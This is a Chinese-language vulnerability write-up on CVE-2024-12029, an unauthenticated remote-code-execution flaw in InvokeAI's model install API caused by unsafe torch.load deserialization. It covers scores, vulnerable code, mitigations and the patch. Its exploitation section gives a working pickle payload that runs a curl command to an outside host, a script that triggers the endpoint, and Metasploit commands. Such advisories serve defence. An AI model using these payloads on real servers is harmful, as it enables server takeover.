CVE-2024-12029 – InvokeAI 不可信数据反序列化漏洞
概述
CVE-2024-12029 是流行 AI 艺术生成工具 InvokeAI 中 /api/v2/models/install
API 端点存在的不可信数据反序列化漏洞。通过发送特制的模型文件,攻击者可以利用此缺陷在服务器上实现远程代码执行。
CVE ID: CVE-2024-12029
严重程度: 严重
CVSS 评分: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS 评分: 61.17%
发布日期: 2025年2月7日
影响: 远程代码执行
攻击向量: 远程
需要认证: 否
易受攻击组件: 使用不安全的 torch.load() 反序列化的模型安装 API
此漏洞影响任何将模型安装 API 暴露给不可信用户或网络的 InvokeAI 安装实例。
技术分析
/api/v2/models/install
API 端点接受用户指定的模型 URL 用于下载和加载 AI 模型。InvokeAI 使用 PyTorch 的 torch.load() 函数来反序列化模型文件,但没有进行适当的验证或沙箱处理。
PyTorch 的 torch.load() 函数可以执行序列化模型文件中嵌入的任意 Python 代码。通过在恶意模型文件中嵌入 Python 代码,攻击者可以在模型在服务器端加载时实现远程代码执行。
利用条件
- InvokeAI 实例运行易受攻击版本(5.3.1 至 5.4.2)
/api/v2/models/install
端点对攻击者可访问
- 攻击者可以在 Web 服务器上托管恶意模型文件或提供其 URL
- 模型验证和沙箱处理未正确实施
- InvokeAI 进程具有执行嵌入恶意代码的足够权限
易受攻击代码片段
漏洞源于 invokeai/backend/model_manager/util/model_util.py 中 read_checkpoint_meta 函数对 PyTorch torch.load 的不安全使用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def read_checkpoint_meta(path: Union[str, Path], scan: bool = False) -> Dict[str, torch.Tensor]:
if str(path).endswith(".safetensors"):
try:
path_str = path.as_posix() if isinstance(path, Path) else path
checkpoint = _fast_safetensors_reader(path_str)
except Exception:
checkpoint = safetensors.torch.load_file(path, device="cpu")
else:
if scan:
scan_result = scan_file_path(path)
if scan_result.infected_files != 0:
raise Exception(f'The model file "{path}" is potentially infected by malware. Aborting import.')
if str(path).endswith(".gguf"):
# The GGUF reader used here uses numpy memmap, so these tensors are not loaded into memory during this function
checkpoint = gguf_sd_loader(Path(path), compute_dtype=torch.float32)
else:
checkpoint = torch.load(path, map_location=torch.device("meta"))
return checkpoint
|
利用步骤
- 创建包含嵌入 Python 代码的恶意 PyTorch 模型文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import asyncio
import pickle
import requests
import torch
class Payload:
def __reduce__(self):
import os
return (os.system, ('curl 192.168.48.3/rce_poc',))
def generate_payload():
# Not .pkl
with open('payload.ckpt', 'wb') as f:
pickle.dump(Payload(), f)
|
- 在目标可访问的 Web 服务器上托管恶意模型文件
- 使用以下 Python 脚本触发 InvokeAI 模型安装 API 并加载恶意模型:
1
2
3
4
5
6
7
8
9
10
11
|
def request_model_download():
import requests
url = "http://localhost:9090/api/v2/models/install"
params = {
"source": "http://192.168.48.3/payload.ckpt",
"inplace": "true"
}
response = requests.post(url, params=params, json={})
request_model_download()
|
- 当 InvokeAI 尝试使用 torch.load() 加载模型时,恶意代码将被执行
Metasploit 包含用于此 CVE 的模块,可用于利用:
1
2
3
4
5
6
7
|
# In Metasploit console
use exploit/linux/http/invokeai_rce_cve_2024_12029
set RHOSTS target_ip
set RPORT 9090
set LHOST attacker_ip
set LPORT 4444
exploit
|
缓解措施
- 将 InvokeAI 更新到 5.4.3 或更高版本,其中修复了不安全的反序列化
- 使用安全的模型加载实践与 torch.load():
- 使用带有 weights_only=True 参数的 torch.load()
- 实施适当的输入验证和沙箱处理
- 对可信模型源使用允许列表
- 网络分段:限制对
/api/v2/models/install
端点的访问
- 输入验证:在加载前验证模型文件签名和内容
- 最小权限原则:以最小必要权限运行 InvokeAI
补丁
InvokeAI 通过将易受攻击函数中的 scan 变量默认设置为 True 来解决此问题。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def read_checkpoint_meta(path: Union[str, Path], scan: bool = True) -> Dict[str, torch.Tensor]:
if str(path).endswith(".safetensors"):
try:
path_str = path.as_posix() if isinstance(path, Path) else path
checkpoint = _fast_safetensors_reader(path_str)
except Exception:
checkpoint = safetensors.torch.load_file(path, device="cpu")
elif str(path).endswith(".gguf"):
# The GGUF reader used here uses numpy memmap, so these tensors are not loaded into memory during this function
checkpoint = gguf_sd_loader(Path(path), compute_dtype=torch.float32)
else:
if scan:
scan_result = pscan.scan_file_path(path)
if scan_result.infected_files != 0:
raise Exception(f"The model at {path} is potentially infected by malware. Aborting import.")
if scan_result.scan_err:
raise Exception(f"Error scanning model at {path} for malware. Aborting import.")
checkpoint = torch.load(path, map_location=torch.device("meta"))
return checkpoint
|
对此漏洞的补丁可在此提交中找到:https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e
参考